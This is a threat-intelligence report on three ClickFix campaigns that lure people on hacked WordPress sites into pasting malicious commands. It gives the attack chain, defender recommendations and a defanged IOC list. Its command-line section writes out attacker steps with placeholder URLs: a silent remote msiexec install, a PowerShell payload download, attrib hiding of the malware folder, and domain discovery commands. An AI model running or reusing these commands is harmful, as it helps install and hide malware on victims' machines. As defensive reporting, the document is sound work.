A ClickFix cluster: Observed activity from recent ClickFix campaigns

What Happened

Attackers used fake verification prompts on hacked websites to trick people into copying and pasting malicious commands. These commands downloaded hidden malware using different methods including fake software installers, JavaScript, and Python scripts. The malware hid itself in system folders and used legitimate-looking program names to avoid detection. The attackers controlled their malware by hiding instructions inside user profiles on a web design forum. In one case, attackers even called victims by phone to direct them to the malicious websites. Organizations should train employees to be suspicious of any website asking them to copy and paste commands, restrict who can run command-line tools, and deploy monitoring tools that catch unusual program activity.

Key Takeaways

• Three ClickFix campaigns observed in summer 2026 using MSI packages, NodeJS, and Python to deliver payloads via clipboard-copy social engineering on compromised WordPress sites.
• All campaigns shared DLL sideloading, consistent file-naming conventions in ProgramData, and C2 dead drop resolvers hosted in Digital Point forum user profiles.
• Threat actor used phone calls to directly persuade victims to visit compromised WordPress sites delivering ClickFix lures.
• Campaign 3 used the Polygon blockchain to retrieve domains hosting the ClickFix payload, adding a decentralized infrastructure layer.
• TTP and infrastructure overlap with BlueVoyant reporting on the Lorem Ipsum malware family and the Supper backdoor associated with Vanilla Tempest.

Affected Systems

• Windows endpoints (all versions with PowerShell, MSI, and ProgramData access)

Vulnerabilities (CVEs)

None identified.

Attack Chain

1. Initial Access: Compromised WordPress sites display ClickFix lures that copy malicious PowerShell or MSI commands to victim clipboard; in one case actor called victims by phone to direct them to sites
2. Execution: Victim pastes command which downloads runtime (NodeJS/Python/MSI) and malicious payload from C2 domain using /get_verify URL pattern
3. Persistence: Scheduled task or registry run key created to execute payload at startup or hourly intervals
4. Defense Evasion: attrib.exe marks ProgramData subfolder as hidden and system; legitimate Windows binaries renamed and used to sideload malicious DLLs (mscoree.dll, dui70.dll)
5. Discovery: nltest, net.exe, dsregcmd, and ADSI searcher commands enumerate domain trusts, admin accounts, and device registration status
6. Command and Control: Malware reads encoded strings from Digital Point forum user profiles to resolve C2 domains; beacons via POST to /api/init/<guid> with JFIF file payload

Detection Availability

• YARA Rules: No
• Sigma Rules: No
• Snort/Suricata Rules: No
• KQL Queries: No
• Splunk SPL Queries: No
• EQL Queries: No
• Other Detection Logic: No

No detection rules are provided in the article. The article lists IOCs in a table format and describes TTPs but does not include YARA, Sigma, Snort, Suricata, or query-based detection logic.

Detection Engineering Assessment

Required Log Sources

• Windows Security Event Log (Process Creation - Event ID 4688)
• Sysmon Event ID 1 (Process Create), 7 (Image Load), 11 (File Create), 22 (DNS)
• PowerShell Script Block Logging (Event ID 4104)
• Windows Task Scheduler logs
• EDR process telemetry
• Web proxy / firewall logs for HTTP(S) traffic

Hunting Hypotheses

Control Gaps

• Application allowlisting would not catch renamed legitimate Windows binaries executing from ProgramData.
• Network security monitoring may not flag HTTPS traffic to Digital Point forum as malicious without destination reputation context.
• DLL sideloading via legitimate signed binaries may bypass application control solutions that trust the original publisher.
• Blockchain-based domain retrieval (Polygon eth_call) occurs entirely in the browser and would not be visible to endpoint or network security tools.

Key Behavioral Indicators

• 3DPDFMakerSmart.exe spawning suspicious child processes including XPFix.exe and Edge Cookie Exporter
• PowerShell executing from %LOCALAPPDATA%\Temp path following DLL sideloading event
• Scheduled task creation referencing executables in ProgramData subdirectories
• Batch script modifying registry run keys and creating scheduled tasks for hourly execution
• ADSI searcher queries enumerating users with description fields via PowerShell
• Multiple ProgramData subdirectories created with random suffixes in a short timeframe

False Positive Assessment

Recommendations

Immediate Mitigation

Infrastructure Hardening

• Consider implementing DNS filtering or sinkholing for the listed C2 domains and their resolving infrastructure.
• If your web proxy supports it, consider blocking or alerting on HTTP POST requests to URIs matching /api/init/ followed by GUID patterns.
• Evaluate whether restricting outbound traffic to Digital Point forum domains is feasible for your environment.
• Consider deploying network segmentation to limit lateral movement opportunities from compromised endpoints to domain controllers.

User Protection

• Consider enforcing application control policies that restrict PowerShell, cmd.exe, and terminal execution for non-administrative users.
• If supported by your EDR, consider enabling script block logging for PowerShell to capture full command content for investigation.
• Evaluate whether disabling AutoRun for MSI packages and restricting software installation to approved distribution channels reduces risk.
• Consider deploying endpoint detection that alerts on newly created hidden and system-attributed folders in ProgramData.

Security Awareness

• Consider incorporating ClickFix social engineering recognition into existing security awareness training, emphasizing that legitimate verification processes never require copying and pasting commands.
• Train employees to be skeptical of phone callers directing them to specific websites for verification, even if the caller appears knowledgeable.
• Consider adding guidance for employees to report any website that presents a verification prompt requiring clipboard interaction.
• If applicable to your organization, consider briefing help desk and IT staff on the phone-based social engineering tactic observed in these campaigns.

MITRE ATT&CK Mapping

Additional IOCs

• Ips:
  • 146[.]19[.]49[.]4 - C2 server IP identified in campaign infrastructure.
  • 149[.]56[.]95[.]157 - C2 server IP identified in campaign infrastructure.
  • 91[.]236[.]230[.]237 - C2 server IP identified in campaign infrastructure.
  • 130[.]49[.]155[.]201 - C2 server IP identified in campaign infrastructure.
  • 146[.]19[.]49[.]71 - C2 server IP identified in campaign infrastructure.
  • 145[.]239[.]54[.]189 - C2 server IP identified in campaign infrastructure.
  • 193[.]243[.]147[.]137 - C2 server IP identified in campaign infrastructure.
  • 45[.]83[.]180[.]237 - C2 server IP identified in campaign infrastructure.
  • 45[.]129[.]199[.]77 - C2 server IP identified in campaign infrastructure.
• Domains:
  • seephotoalbum[.]com - C2 domain resolved from dead drop resolver.
  • beastcloudsecurity[.]com - C2 domain resolved from dead drop resolver.
  • bestpopularimages[.]com - C2 domain resolved from dead drop resolver.
  • photocategories[.]com - C2 domain resolved from dead drop resolver.
  • topimagechecker[.]com - C2 domain resolved from dead drop resolver.
  • editdocumentfree[.]com - C2 domain resolved from dead drop resolver.
  • newpopularimages[.]com - C2 domain resolved from dead drop resolver.
  • topphotoalbum[.]com - C2 domain resolved from dead drop resolver.
  • opendocumentonline[.]com - C2 domain resolved from dead drop resolver.
  • peekyourphoto[.]com - C2 domain resolved from dead drop resolver.
• Urls:
  • hxxps://cloudbreachdetection[.]com/get_verify?i=13011 - Payload download URL for Campaign 2 NodeJS loader. Delivers Update.zip containing malicious JavaScript.
  • hxxps://cooldogshistory[.]com/get_verify?i=1753 - Payload download URL for Campaign 3 Python loader. Delivers archive containing captcha.py.
• File Hashes:
  • 7545d737202df6d90118e04a963acbd1b16a1f4e0a1c173bef7ab9489efdcd16 (SHA256) - Update.js JavaScript payload executed via NodeJS in Campaign 2.
  • 2104e7018aa9fd2507cc036e2aa4ff80e613a156ab1cb78604773d447298a854 (SHA256) - PowerShell Loader variant used in campaign activity.
  • f80d8f5950086a053c68dcdcb5902f2ad8b8e4fcf400855c316aef09fe0f55e5 (SHA256) - PowerShell loop execution script used in post-compromise activity.
  • d092ac012ccb75416802ee697a5f65b2c0545d047a20869c53124db9e37f3dcd (SHA256) - Persistence batch script created by captcha.py. Adds registry run key and scheduled task.
• File Paths:
  • C:\ProgramData\DotNetOptimizer_xa312vpO - Hidden folder created by attacker in ProgramData to house renamed .NET ClickOnce utility and malicious mscoree.dll.
  • C:\ProgramData\1\python.exe - Python 3.5 runtime dropped to ProgramData by Campaign 3 PowerShell loader to execute captcha.py.
  • C:\ProgramData\Captcha.py - Malicious Python script dropped by Campaign 3. Unpacks obfuscated payloads and creates persistence mechanism.
  • C:\ProgramData\Update.js - Malicious JavaScript file dropped by Campaign 2 NodeJS loader.
• Command Lines:
  • Purpose: Install remotely hosted MSI package silently from ClickFix clipboard payload | Tools: msiexec.exe | Stage: Initial Access | msiexec.exe /package http://<url> /Q
  • Purpose: Download NodeJS runtime and malicious JavaScript payload, extract and execute hidden | Tools: powershell.exe, Invoke-WebRequest, Expand-Archive, Start-Process | Stage: Execution
  • Purpose: Download Python 3.5 runtime and malicious captcha.py, extract and execute hidden | Tools: powershell.exe, Net.WebClient, Expand-Archive, Diagnostics.Process | Stage: Execution | powershell.exe -Command $w.DownloadFile('<url>', '$env:TEMP\a.zip')
  • Purpose: Hide malware directory in ProgramData with hidden and system file attributes | Tools: attrib.exe | Stage: Defense Evasion | attrib.exe +h +s C:\ProgramData\<folder>
  • Purpose: Check device registration status for ransom targeting assessment | Tools: powershell.exe, dsregcmd.exe | Stage: Discovery | dsregcmd.exe /status
  • Purpose: Enumerate domain controllers, domain admins, and trust relationships | Tools: nltest.exe, net.exe, ipconfig.exe | Stage: Discovery | nltest.exe /dclist: